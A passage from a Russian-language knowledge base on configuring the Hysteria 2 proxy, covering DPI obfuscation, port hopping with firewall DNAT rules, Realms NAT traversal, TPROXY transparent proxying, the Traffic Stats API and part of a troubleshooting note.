про запас TCP-решение вроде [[VLESS/dpi-tls-june-2026|VLESS+TLS]]. ## Обфускация — маскировка от DPI По умолчанию Hysteria имитирует HTTP/3. Но если сеть точечно блокирует QUIC/HTTP/3-трафик (при этом обычный UDP пропускает), обфускация помогает обойти это: она перемешивает пакеты так, что они теряют узнаваемый почерк протокола. Доступны две реализации, обе требуют пароль, **одинаковый на клиенте и сервере**: - **Salamander** — превращает каждый пакет в набор псевдослучайных байт без видимого паттерна. - **Gecko** (экспериментальный) — надстройка над Salamander: дополнительно дробит пакеты QUIC-рукопожатия на куски случайного размера со случайным паддингом, чтобы усложнить их обнаружение по размеру. **На сервере** ([[Hysteria/config-server|серверный конфиг]]), Salamander: ```yaml obfs: type: salamander salamander: password: cry_me_a_r1ver ``` **На клиенте** ([[Hysteria/config-client|клиентский конфиг]]) — ровно та же секция с тем же паролем. Вариант Gecko (тоже симметрично на обеих сторонах): ```yaml obfs: type: gecko gecko: password: cry_me_a_r1ver minPacketSize: 512 maxPacketSize: 1200 ``` `minPacketSize`/`maxPacketSize` — границы размера дробящихся датаграмм рукопожатия (по умолчанию 512 и 1200 байт; `maxPacketSize` должен быть `>= minPacketSize` и `<= 2048`). > [!warning] Обфускация ломает маскировку под HTTP/3 > Включив `obfs`, вы делаете сервер несовместимым со стандартными QUIC-соединениями — он перестаёт быть валидным HTTP/3-сервером, и [[Hysteria/config-server|masquerade]] под настоящий сайт уже не сработает (браузер не откроет ваш «сайт»). Это размен: вы прячете почерк QUIC от DPI ценой того, что сервер больше не выглядит как обычный веб-сервер. Включайте обфускацию, только если DPI реально блокирует QUIC, — иначе вы теряете полезную маскировку без причины. > [!danger] Неверный пароль обфускации = «сервер как будто выключен» > Если пароль обфускации на клиенте и сервере не совпадает, соединение просто уйдёт в таймаут — точно так же, как если бы сервер не был запущен. Никакой явной ошибки «неверный пароль» не будет. Поэтому при проблемах с подключением после включения `obfs` первым делом сверьте пароль на обеих сторонах. ## Port hopping — смена порта Некоторые провайдеры (изначально приём появился как обход ограничений в Китае) блокируют или троттлят долгие UDP-соединения, но ограничение часто действует **только на конкретный порт**. Port hopping обходит это: клиент постоянно перескакивает между портами из заданного диапазона, не давая привязать блокировку к одному порту. Для верхних уровней (ваших приложений) это прозрачно — данные не теряются и соединение не рвётся. ### На клиенте — мульти-порт адрес В поле `server` вместо одного порта укажите список/диапазон: ```yaml server: example.com:20000-50000 ``` Форматы адреса: `example.com:1234,5678,9012` (отдельные порты), `example.com:20000-50000` (диапазон), либо комбинация `example.com:1234,5000-6000,7044,8000-9000`. Число портов не ограничено. Интервал переключения задаётся в секции `transport`: ```yaml transport: udp: hopInterval: 30s ``` `hopInterval` — фиксированный интервал (по умолчанию 30s, минимум 5s). Для менее предсказуемого поведения можно задать случайный интервал через `minHopInterval`/`maxHopInterval` (тоже минимум 5s) — но одновременно с `hopInterval` их использовать нельзя. ### На сервере — диапазон в `listen` (Linux) На Linux серверу достаточно указать диапазон прямо в `listen`: ```yaml listen: :20000-50000 ``` Сервер слушает первый порт диапазона и **автоматически настраивает правила фаервола** (nftables или iptables), перенаправляя трафик со всех остальных портов на первый. При остановке сервера правила автоматически убираются. > [!warning] Серверный диапазон портов требует прав и Linux > Автоматический диапазон в `listen` работает только на Linux и требует наличия `nft` (nftables) или `iptables`/`ip6tables`. Серверу нужны привилегии для правки фаервола — запуск от root или с capability `CAP_NET_ADMIN`. Если ставите через [[Hysteria/install-server|Docker]], для port hopping нужна `cap_add: NET_ADMIN`. Если автоматический способ не подходит, диапазон можно пробросить вручную через DNAT (iptables/nftables) на порт, который слушает сервер. Готовые правила для iptables и nftables, а также подводные камни (постоянство правил после ребута, фаервол хостера) вынесены в отдельную заметку — [[Hysteria/port-hopping-manual|Port hopping вручную (DNAT)]]. ## 📚 См. также - [[Hysteria/00-overview|Hysteria 2 — обзор]] — когда сильные стороны QUIC становятся слабостью. - [[Hysteria/config-server|Конфиг сервера]] — куда вписывать `obfs` и `listen` с диапазоном. - [[Hysteria/config-client|Конфиг клиента]] — мульти-порт `server` и `transport`. - [[Hysteria/port-hopping-manual|Port hopping вручную (DNAT)]] — детальные правила iptables/nftables, когда встроенный диапазон не подходит. - [[Hysteria/troubleshooting|Решение проблем]] — таймауты и ошибки подключения. - [[VLESS/dpi-tls-june-2026|VLESS + TLS: DPI-почерк]] — TCP-запасной вариант, если UDP зарезан полностью. - 🔗 [Port Hopping](https://v2.hysteria.network/docs/advanced/Port-Hopping/) · [Full Server Config — Obfuscation](https://v2.hysteria.network/docs/advanced/Full-Server-Config/#obfuscation) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/obfs-port-hopping.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - port-hopping - iptables - nftables - dnat - linux aliases: - Hysteria port hopping вручную - Hysteria DNAT проброс портов - Hysteria ручной проброс диапазона link: https://v2.hysteria.network/docs/advanced/Port-Hopping/ --- # 🦎 Hysteria 2 — port hopping вручную (DNAT) > [!info] О чём заметка > Как настроить серверную часть [[Hysteria/obfs-port-hopping|port hopping]] вручную через правила фаервола (iptables/nftables DNAT), когда встроенный диапазон в `listen` не подходит. Что такое сам port hopping, зачем он нужен и как настраивается клиент — разобрано в [[Hysteria/obfs-port-hopping|заметке про обфускацию и port hopping]]; здесь — только про ручной проброс на сервере. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **Port hopping** — приём против блокировки/троттлинга UDP на конкретном порту: клиент постоянно перескакивает между портами из диапазона. Полная механика и настройка клиента — в [[Hysteria/obfs-port-hopping|основной заметке]]. - Обычно серверу достаточно встроенного диапазона в `listen: :20000-50000` — Hysteria сама поднимет правила фаервола. **Ручной DNAT нужен редко** — когда встроенный способ не подходит (нестандартная сеть, свой контроль над правилами, конфликт с существующим фаерволом). - Идея ручного способа: сервер слушает **один** порт (например, 443), а правило DNAT перенаправляет на него весь UDP-трафик с диапазона портов (например, 20000–50000). - Правила сбрасываются при перезагрузке — сделайте их постоянными или выполняйте при старте системы. ## Когда нужен ручной способ По умолчанию серверную часть port hopping делать вручную не надо: на Linux достаточно указать диапазон прямо в `listen`, и Hysteria сама настроит и уберёт правила фаервола (подробнее — в разделе «На сервере» [[Hysteria/obfs-port-hopping|основной заметки]]): ```yaml listen: :20000-50000 ``` Ручной проброс через DNAT нужен в исключительных случаях: - Встроенный способ по каким-то причинам не работает или недоступен в вашей сети. - Вы хотите сами управлять правилами фаервола (например, они уже сложные, и автоматические правила Hysteria конфликтуют с ними). - Сервер слушает фиксированный порт, и вы отдельно администрируете сетевой стек. Во всех остальных случаях проще и надёжнее встроенный диапазон в `listen` — он же сам подчищает правила при остановке сервера. ## Как это работает Идея простая: сервер Hysteria слушает **один** порт (в примерах — 443), а фаервол перенаправляет (DNAT/REDIRECT) на этот порт весь UDP-трафик, приходящий на любой порт из диапазона. Для клиента это выглядит так, будто сервер отвечает на всех портах диапазона, — а физически он слушает один. **Проще говоря:** клиент стучится на случайные порты 20000–50000, фаервол ловит эти пакеты и молча переставляет им адрес назначения на порт 443, где реально сидит Hysteria. Сам Hysteria о диапазоне даже не знает. > [!note] `--dport 20000:50000` — это диапазон, а не два порта > В iptables двоеточие в `--dport` означает диапазон «с 20000 по 50000 включительно». Не перепутайте с запятой (перечисление). В примере ниже перенаправляется весь диапазон на один порт 443. ## iptables Замените `eth0` на имя вашего внешнего интерфейса, `443` — на порт, который реально слушает Hysteria, а `20000:50000` — на нужный диапазон. ```bash # IPv4 iptables -t nat -A PREROUTING -i eth0 -p udp --dport 20000:50000 -j REDIRECT --to-ports 443 # IPv6 ip6tables -t nat -A PREROUTING -i eth0 -p udp --dport 20000:50000 -j REDIRECT --to-ports 443 ``` ## nftables Тот же смысл на nftables. Значения вынесены в переменные — поправьте под себя: ```nginx define INGRESS_INTERFACE="eth0" define PORT_RANGE=20000-50000 define HYSTERIA_SERVER_PORT=443 table inet hysteria_porthopping { chain prerouting { type nat hook prerouting priority dstnat; policy accept; iifname $INGRESS_INTERFACE udp dport $PORT_RANGE counter redirect to :$HYSTERIA_SERVER_PORT } } ``` В этом примере сервер слушает порт 443, а клиент может подключаться к любому порту из диапазона 20000–50000. > [!warning] Правила не переживают перезагрузку > Команды iptables/nftables выше сбрасываются при перезапуске системы. Чтобы port hopping продолжал работать после ребута, сделайте правила постоянными штатными средствами дистрибутива (`iptables-save`/`netfilter-persistent`, `nftables.service` с конфигом в `/etc/nftables.conf` и т.п.) либо выполняйте их скриптом при старте. Это отличие от встроенного `listen: :20000-50000`, где Hysteria сама ставит правила при запуске и убирает при остановке. > [!danger] Не забудьте открыть диапазон в фаерволе провайдера > DNAT перенаправляет пакеты уже внутри сервера, но до этого они должны до сервера дойти. Если у хостера есть внешний фаервол (в панели VPS) или на самом сервере включён `INPUT`-фильтр, откройте в нём весь UDP-диапазон 20000–50000 — иначе пакеты будут отброшены раньше, чем сработает DNAT. Заблокированный порт — частая причина ошибки «timeout», см. [[Hysteria/troubleshooting|разбор проблем]]. ## Клиентская сторона Ручной DNAT — это только про сервер. Клиент настраивается одинаково независимо от того, встроенный у вас диапазон или ручной: в поле `server` указывается мульти-порт адрес (`example.com:20000-50000`), а интервал смены порта задаётся в `transport`. Всё это подробно расписано в [[Hysteria/obfs-port-hopping|основной заметке про port hopping]], здесь не дублируется. ## 📚 См. также - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — что такое port hopping, зачем он, настройка клиента и встроенный серверный диапазон. - [[Hysteria/config-server|Конфиг сервера]] — где задаётся `listen`. - [[Hysteria/troubleshooting|Решение проблем]] — если после настройки диапазона клиент не подключается (частая причина — закрытый порт в фаерволе). - [[Hysteria/00-overview|Hysteria 2 — обзор]] — общая картина. - 🔗 [Port Hopping — официальная документация](https://v2.hysteria.network/docs/advanced/Port-Hopping/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/port-hopping-manual.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - realms - nat - p2p - hole-punching aliases: - Hysteria Realms - Hysteria за NAT - Hysteria без белого IP - Hysteria P2P link: https://v2.hysteria.network/docs/advanced/Realms/ --- # 🦎 Hysteria 2 — Realms: сервер за NAT без белого IP > [!info] О чём заметка > Как поднять сервер Hysteria 2 **без публичного IP и проброса портов** — из дома, из-за CGNAT, с мобильного модема — с помощью режима Hysteria Realms (P2P через UDP hole punching). Базовые конфиги — в заметках [[Hysteria/config-server|сервер]] и [[Hysteria/config-client|клиент]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **Realms** — P2P-режим: маленький сервис-посредник (rendezvous) «знакомит» сервер и клиент, после чего они пробивают NAT (UDP hole punching) и соединяются **напрямую**. Посредник трафик не передаёт — только сводит стороны. - Нужен для хостинга **без белого IP**: из домашней сети за NAT, из-за CGNAT, с хотспота/модема, где нет входящего порта. - И сервер, и клиент используют один URI вида `realm://<токен>@/<имя-realm>`. На сервере он ставится в `listen`, на клиенте — в `server`. - Есть публичный посредник `realm.hy2.io` с токеном `public` (без гарантий), но для чего-то серьёзного лучше **поднять свой** rendezvous. - **Токен realm ≠ пароль Hysteria.** Аутентификация и TLS работают как обычно — токен лишь для знакомства через посредник. - Работает не при любом NAT: если хотя бы с одной стороны **симметричный NAT со случайными портами** — hole punching обычно не удаётся, нужен обычный сервер с белым IP. ## Зачем это нужно и как работает Обычный сервер Hysteria требует публичный IP и открытый порт — см. [[Hysteria/install-server|установку сервера]]. Но что если сервер хочется поднять дома, а провайдер не даёт белый IP (или вы за CGNAT — общим IP на много абонентов, где входящее соединение в принципе невозможно)? Тут помогает Realms. Идея (UDP hole punching простыми словами): две машины за NAT не могут «дозвониться» друг другу напрямую, потому что NAT не пропускает входящие пакеты. Но если обе одновременно начнут слать пакеты навстречу, каждый NAT решит, что это ответ на исходящее соединение, и пропустит — «дырка» пробита. Проблема лишь в том, что стороны не знают адресов друг друга. Эту роль играет **rendezvous** — общедоступный посредник: сервер регистрирует у него «realm» (имя, которое вы придумали) со своими адресами (узнаёт их через STUN), а клиент запрашивает у посредника адреса сервера. Дальше — hole punching и обычное QUIC-рукопожатие Hysteria напрямую. > [!important] Посредник не видит ваш трафик > Rendezvous участвует только в момент знакомства — сводит адреса сервера и клиента. Как только «дырка» в NAT пробита, весь трафик идёт **напрямую** между клиентом и сервером, посредник в нём не участвует и ничего не ретранслирует. ## Адрес realm Обе стороны используют один URI: ``` realm://<токен>@[:port]/<имя-realm> ``` - `realm://` — общение с посредником по HTTPS (порт 443 по умолчанию). **Рекомендуется.** - `realm+http://` — по обычному HTTP (порт 80). Только для разработки. - `<токен>` — общий bearer-токен посредника. - `<имя-realm>` — имя, которое вы выбрали. На сервере и клиенте оно **должно совпадать**. Пример: `realm://mytoken@rendezvous.example.com/my-server`. ## Конфиг сервера Чтобы запустить сервер в режиме realm, поставьте realm-URI в `listen`. Сервер сам сходит к посреднику по исходящему соединению, зарегистрирует realm и будет ждать подключений — входящий порт не нужен. ```yaml listen: realm://public@realm.hy2.io/your-realm-name ``` Все прочие поля сервера (`auth`, `tls`, `obfs`, `bandwidth`) работают как обычно — см. [[Hysteria/config-server|серверный конфиг]]. > [!warning] В режиме realm включайте обфускацию против DPI > В realm-режиме сервер слушает на **случайном UDP-порту**, а не на 443. HTTP/3-трафик на нестандартном порту сам по себе может быть сигналом для DPI. Если цензура — забота, включите [[Hysteria/obfs-port-hopping|обфускацию (obfs)]], чтобы спрятать почерк QUIC. ## Конфиг клиента В [[Hysteria/config-client|клиентском конфиге]] в `server` укажите тот же realm-URI, что зарегистрировал сервер: ```yaml server: realm://public@realm.hy2.io/your-realm-name auth: your-hysteria-password ``` Клиент делает STUN-обнаружение, просит посредника свести его с сервером, пробивает NAT и дальше проходит обычное QUIC-рукопожатие Hysteria — с проверкой TLS и паролем. > [!danger] Токен realm — это НЕ пароль сервера > Токен в URI нужен только для доступа к посреднику, он не заменяет пароль Hysteria (`auth`). Более того, на публичном посреднике токен общий (`public`), поэтому **любой, кто знает или угадает имя вашего realm, сможет узнать IP-адрес вашего сервера** (прокси он не воспользуется — аутентификация Hysteria на месте, но местоположение раскроет). Поэтому имя realm выбирайте длинным и случайным, как секрет (`my-cabin-1f3a8c2e9b`, а не `home`), и не используйте в нём то, что вас идентифицирует. Если это важно — поднимайте свой посредник. ## Выбор посредника (rendezvous) **Публичный `realm.hy2.io`** (токен `public`) — бесплатный best-effort сервис проекта Hysteria. Удобно попробовать, но без гарантий: может лечь, сменить лимиты, быть заблокированным. Проект Hysteria не управляет и не проверяет чужие realm'ы — относитесь к незнакомому realm-имени с той же осторожностью, что к случайному VPN-провайдеру (может логировать трафик, устроить MITM или быть honeypot). Текущие лимиты: имя realm 6–64 символа (буква/цифра в начале, дальше буквы, цифры, `-`, `_`), не более 2 активных realm на один IP. **Свой rendezvous** — правильный выбор для чего-то серьёзного. Сервер-посредник открытый и лёгкий (несколько КиБ памяти на realm): [github.com/apernet/hysteria-realm-server](https://github.com/apernet/hysteria-realm-server). Со своим приватным токеном регистрироваться и подключаться смогут только те, кто его знает, а uptime и логи под вашим контролем. ## Совместимость с NAT — работает не всегда Hole punching зависит от типа NAT с обеих сторон. Полная матрица — в [официальной документации Realms](https://v2.hysteria.network/docs/advanced/Realms/#nat-compatibility), но суть такая: - Если хотя бы одна сторона имеет **белый IP или Full Cone NAT** — работает надёжно в любой паре. - **Симметричный NAT со случайными портами** с любой стороны (кроме случая, когда вторая сторона с белым IP/Full Cone) — принципиально не решается. Это свойство UDP hole punching, а не ограничение Hysteria. - Промежуточные случаи (restricted, симметричный с предсказуемыми портами) — работают через раз, зависит от того, сможет ли Hysteria предугадать следующий порт. Для эвристики нужны несколько STUN-серверов (по умолчанию их 3); с одним STUN предсказание не сработает. > [!tip] Если Realms не подключается > Самая частая причина — симметричный NAT хотя бы с одной стороны. Если у вас так, запасной путь — обычный сервер с белым IP (см. [[Hysteria/install-server|установку]]). Для диагностики запустите обе стороны с `HYSTERIA_LOG_LEVEL=debug` и смотрите логи: `HYSTERIA_LOG_LEVEL=debug ./hysteria server -c server.yaml` и то же для клиента. ## TLS в режиме realm Тонкость: в realm-режиме у клиента нет доменного имени для проверки сертификата — он соединяется по IP, который вернул посредник. Без настройки клиент подставит как SNI имя посредника, и обычный сертификат не совпадёт. Три варианта: - **Самоподписанный сертификат + `pinSHA256`** — самый простой. Команда `hysteria cert` на сервере генерирует ключ с сертификатом и печатает готовые блоки `tls` для сервера (`cert`/`key`) и клиента (`insecure: true` + `pinSHA256`). Пин гарантирует, что клиент примет ровно этот сертификат, так что SNI и CA-проверка не важны. - **Настоящий сертификат через DNS-01 ACME** для вашего домена + `tls.sni` на клиенте с этим доменом (HTTP-01/TLS-ALPN-01 без белого IP не сработают). - **Сертификат на имя посредника** — практично только если вы хостите и посредник, и сервер сами. ## 📚 См. также - [[Hysteria/install-server|Установка сервера]] — обычный путь с белым IP; запасной вариант, если NAT не пробивается. - [[Hysteria/config-server|Конфиг сервера]] — поля `auth`/`tls`/`obfs`, работающие и в realm-режиме. - [[Hysteria/config-client|Конфиг клиента]] — `pinSHA256` и `tls.sni` для самоподписанного сертификата. - [[Hysteria/obfs-port-hopping|Обфускация и port hopping]] — почему в realm-режиме важна обфускация. - 🔗 [Hysteria Realms — официальная документация](https://v2.hysteria.network/docs/advanced/Realms/) · [rendezvous-сервер](https://github.com/apernet/hysteria-realm-server) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/realms-nat.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - tproxy - прозрачный-прокси - linux - iptables aliases: - Hysteria TPROXY - Hysteria прозрачный прокси - Hysteria透明代理 link: https://v2.hysteria.network/docs/advanced/TPROXY/ --- # 🦎 Hysteria 2 — прозрачный прокси (TPROXY) > [!info] О чём заметка > Как настроить прозрачный проксирование (TPROXY) на клиенте Hysteria 2 под Linux: завернуть весь TCP/UDP-трафик устройства или локальной сети через Hysteria без настройки прокси в каждом приложении. Только Linux. Базовый клиентский конфиг — в [[Hysteria/config-client|отдельной заметке]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **TPROXY** — механизм ядра Linux для прозрачного перехвата TCP и UDP: приложения даже не знают, что идут через прокси, настраивать их не нужно. - В отличие от [[Hysteria/config-client|TUN-режима]], TPROXY не создаёт виртуальный интерфейс, а работает через правила фаервола (iptables/nftables) и policy routing. Это классический способ поднять прозрачный прокси на роутере/шлюзе. - В клиентском конфиге добавляются `tcpTProxy`/`udpTProxy` с портом (в примерах — `2500`). Но само по себе это не работает — **обязательны** правила policy routing и iptables/nftables. - Чтобы проксировать трафик самого устройства (а не только проходящий через него), запускайте клиент **от отдельного пользователя** и исключайте его трафик по uid — иначе получите петлю. ## TPROXY против TUN — что выбрать Обе технологии делают одно: заворачивают весь трафик через Hysteria без настройки прокси в приложениях. Разница в механике: - **[[Hysteria/config-client|TUN]]** — кроссплатформенный (Windows/Linux/macOS), создаёт виртуальный сетевой интерфейс, Hysteria сама поднимает адреса и маршруты. Проще в настройке, подходит для клиентского устройства. - **TPROXY** — только Linux, работает через фаервол и таблицы маршрутизации, ничего виртуального не создаёт. Традиционный выбор для **шлюза/роутера**, который проксирует трафик всей локальной сети. Тоньше настраивается, но требует ручных правил iptables/nftables. Если нужен прозрачный прокси на одном устройстве — часто проще TUN. Если строите шлюз для всей сети на Linux — TPROXY. ## Шаг 1. Отдельный пользователь (чтобы не было петли) > [!warning] Этот шаг обязателен, если проксируете трафик самого устройства > Когда через прокси идёт в том числе собственный трафик машины, где крутится клиент, надо отделить трафик самого Hysteria-клиента (он идёт до вашего сервера) от проксируемого трафика. Иначе пакеты Hysteria до сервера снова попадут в перехват — получится петля. Способ — запускать клиент под выделенным пользователем и исключать его по uid в правилах фаервола. Если проксируете только трафик, проходящий через устройство (например, роутер для других хостов), этот шаг можно пропустить. Создайте системного пользователя: ```bash useradd --system hysteria ``` Выдайте бинарнику нужные capabilities (повторять после каждого ручного обновления клиента): ```bash setcap CAP_NET_ADMIN,CAP_NET_BIND_SERVICE+ep /path/to/hysteria ``` Запускайте клиент под этим пользователем — вручную `sudo -u hysteria /path/to/hysteria -c config.yaml`, либо в systemd-юните добавьте `User=hysteria` в секцию `[Service]`. ## Шаг 2. Конфиг клиента В [[Hysteria/config-client|клиентский config.yaml]] добавьте TPROXY-инбаунды (порт `2500` — пример, можно любой): ```yaml tcpTProxy: listen: :2500 udpTProxy: listen: :2500 ``` Не указывайте IP перед `:` — тогда слушается и IPv4, и IPv6. Если UDP проксировать не нужно, оставьте только `tcpTProxy`. ## Шаг 3. Policy routing (обязательно) > [!danger] Без этого шага TPROXY не работает > Одних строк в конфиге недостаточно. Правила маршрутизации и фаервола — **не опциональны**. Кроме того, все команды из шагов 3 и 4 сбрасываются при перезагрузке — их нужно либо выполнять при каждом старте системы, либо сделать постоянными (через systemd-юнит, `/etc/network` hooks, скрипты дистрибутива и т.п.). Тут `0x1` — метка (fwmark), `100` — id таблицы маршрутизации (можно выбрать другие): ```bash # IPv4 ip rule add fwmark 0x1 lookup 100 ip route add local default dev lo table 100 # IPv6 ip -6 rule add fwmark 0x1 lookup 100 ip -6 route add local default dev lo table 100 ``` ## Шаг 4. iptables или nftables (обязательно) Правила перенаправляют трафик на TPROXY-порт, обходя приватные адреса и уже обработанный трафик. Ниже — вариант nftables (компактнее); полные примеры iptables для IPv4 и IPv6 — в [официальной документации TPROXY](https://v2.hysteria.network/docs/advanced/TPROXY/). ```nginx define TPROXY_MARK=0x1 define HYSTERIA_USER=hysteria define HYSTERIA_TPROXY_PORT=2500 define TPROXY_L4PROTO={ tcp, udp } define BYPASS_IPV4={ 0.0.0.0/8, 10.0.0.0/8, 127.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/3 } define BYPASS_IPV6={ ::/128 } table inet hysteria_tproxy { chain prerouting { type filter hook prerouting priority mangle; policy accept; # Пропустить трафик, уже обработанный TProxy meta l4proto $TPROXY_L4PROTO socket transparent 1 counter mark set $TPROXY_MARK socket transparent 0 socket wildcard 0 counter return # Обойти приватные и специальные адреса ip daddr $BYPASS_IPV4 counter return ip6 daddr $BYPASS_IPV6 counter return ip6 daddr != 2000::/3 counter return # Перенаправить трафик на TProxy-порт meta l4proto $TPROXY_L4PROTO counter tproxy to :$HYSTERIA_TPROXY_PORT meta mark set $TPROXY_MARK accept } } ``` Это правила для трафика, **проходящего через** устройство. Чтобы проксировать ещё и трафик самого устройства, добавляется отдельная таблица с хуком `output`, где по `meta skuid $HYSTERIA_USER ... return` исключается трафик самого клиента (тот самый анти-петля механизм из шага 1). Полный набор — в официальной документации. > [!note] Если не нужен UDP > Чтобы не проксировать UDP, замените набор протоколов на только TCP: `define TPROXY_L4PROTO=tcp` (в iptables — уберите строки с `-p udp`). Для IPv6 в правилах намеренно проксируются только публичные адреса (`2000::/3`), локальные обходятся. ## 📚 См. также - [[Hysteria/config-client|Конфиг клиента]] — базовые режимы, включая кроссплатформенный TUN как более простую альтернативу. - [[Hysteria/acl-outbounds|ACL и маршрутизация]] — серверная маршрутизация: что делать с трафиком уже после того, как он дошёл до сервера. - [[Hysteria/00-overview|Hysteria 2 — обзор]] — общая картина. - 🔗 [Setting up TPROXY — официальная документация](https://v2.hysteria.network/docs/advanced/TPROXY/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/tproxy.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - api - мониторинг - трафик aliases: - Hysteria Traffic Stats API - Hysteria API трафика - Hysteria kick пользователя link: https://v2.hysteria.network/docs/advanced/Traffic-Stats-API/ --- # 🦎 Hysteria 2 — Traffic Stats API > [!info] О чём заметка > Как включить и использовать HTTP-API статистики Hysteria 2: посмотреть трафик по пользователям, кто сейчас онлайн, и отключить (kick) клиента. Полезно тем, кто раздаёт сервер нескольким людям. Включается в [[Hysteria/config-server|серверном конфиге]]. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **Traffic Stats API** — встроенный в сервер HTTP-интерфейс: сколько кто накачал (`/traffic`), кто онлайн (`/online`), плюс возможность отключить пользователя (`/kick`). - Работает по именам пользователей (id), которые задаются аутентификацией: `userpass`, HTTP-бэкенд или другой способ из [[Hysteria/config-server|серверного конфига]]. - Включается секцией `trafficStats` с `listen` и `secret`. **Всегда задавайте `secret`** — иначе любой, кто достучится до порта API, увидит статистику и сможет кикать пользователей. - Kick сам по себе не блокирует навсегда: клиент переподключится. Чтобы отключить насовсем, надо ещё забанить пользователя в вашем бэкенде аутентификации. ## Зачем это нужно Если сервер используете только вы — API, скорее всего, не понадобится. Он полезен, когда сервером пользуется несколько человек (`userpass` или свой бэкенд аутентификации): можно смотреть, кто сколько трафика израсходовал, кто сейчас подключён, и точечно отключать нарушителей — всё через простые HTTP-запросы, которые легко дёрнуть из скрипта или панели. ## Включение Добавьте в [[Hysteria/config-server|серверный config.yaml]]: ```yaml trafficStats: listen: :9999 secret: some_secret ``` - **`listen`** — адрес и порт, где поднимется API. - **`secret`** — ключ доступа. Прикладывается к запросам в заголовке `Authorization`. > [!danger] Без secret API открыт всем > Если не задать `secret`, любой, у кого есть доступ к адресу API, сможет посмотреть статистику трафика и отключать ваших пользователей. Всегда задавайте `secret`, а лучше — ещё и закройте порт API через [[Hysteria/acl-outbounds|ACL]] или фаервол, чтобы он не торчал наружу. Не вешайте API на публичный интерфейс без крайней необходимости. Запрос с ключом делается так: ```shell curl -H 'Authorization: some_secret' http://ip:9999/traffic ``` ## Эндпоинты ### GET `/traffic` — трафик по пользователям Возвращает JSON: id пользователя → сколько байт передано. `tx` — отдача клиента (upload), `rx` — приём клиента (download). ```json { "wang": { "tx": 514, "rx": 4017 }, "joe": { "tx": 7790, "rx": 446623 } } ``` Параметр `?clear=1` обнуляет счётчики после выдачи — удобно для периодического снятия статистики (например, раз в сутки): `GET /traffic?clear=1`. ### GET `/online` — кто онлайн Возвращает JSON: id пользователя → число подключений. Важно: считаются **экземпляры клиента (устройства)**, а не активные проксируемые соединения. Значение `2` у пользователя означает, что он подключён с двух устройств. ```json { "wang": 2, "joe": 1 } ``` ### POST `/kick` — отключить пользователей Принимает JSON-массив id для отключения: ```json ["wang", "joe"] ``` > [!warning] Kick не блокирует навсегда > У клиента встроена логика переподключения — после kick он попытается подключиться снова. Чтобы отключить пользователя насовсем, недостаточно kick: нужно ещё заблокировать его в вашем бэкенде аутентификации (или убрать из списка `userpass`). Kick полезен как «сбросить сессию здесь и сейчас», а не как «забанить». ### GET `/dump/streams` — детали соединений Возвращает JSON с информацией по каждому QUIC-потоку активных TCP-прокси-соединений: пользователь, запрошенный адрес, «пронюханный» протоколом домен (если включён sniffing), счётчики трафика, время создания и последней активности. Если добавить заголовок `Accept: text/plain`, вывод будет человекочитаемым, похожим на `ss -atn`. Полезно для отладки — увидеть, куда именно ходят соединения конкретного пользователя. ## 📚 См. также - [[Hysteria/config-server|Конфиг сервера]] — где включается `trafficStats` и настраивается аутентификация (id пользователей). - [[Hysteria/acl-outbounds|ACL и маршрутизация]] — как закрыть порт API от посторонних. - [[Hysteria/00-overview|Hysteria 2 — обзор]] — общая картина. - 🔗 [Traffic Stats API — официальная документация](https://v2.hysteria.network/docs/advanced/Traffic-Stats-API/) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/Hysteria/traffic-stats-api.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-11 tags: - hysteria - troubleshooting - ошибки - диагностика aliases: - Hysteria ошибки - Hysteria troubleshooting - Hysteria не подключается link: https://v2.hysteria.network/docs/advanced/Troubleshooting/ --- # 🦎 Hysteria 2 — решение проблем > [!info] О чём заметка > Расшифровка типичных ошибок Hysteria 2 при настройке клиента и сервера и что с ними делать. Если ещё не подняли сервер/клиент — начните с [[Hysteria/config-server|серверного]] и [[Hysteria/config-client|клиентского]] конфигов. Обзор протокола — [[Hysteria/00-overview|тут]]. ## TL;DR - **timeout: no recent network activity** — клиент не достучался до сервера. Проверьте: запущен ли сервер, не режет ли UDP фаервол/провайдер, верны ли адрес и порт, совпадает ли пароль обфускации. - **authentication error, HTTP status code: 404** — сервер отверг клиента. Почти всегда неверный пароль или подключение не к тому серверу. - **certificate signed by unknown authority** — клиент не доверяет сертификату сервера. Для самоподписанного нужен `insecure` + 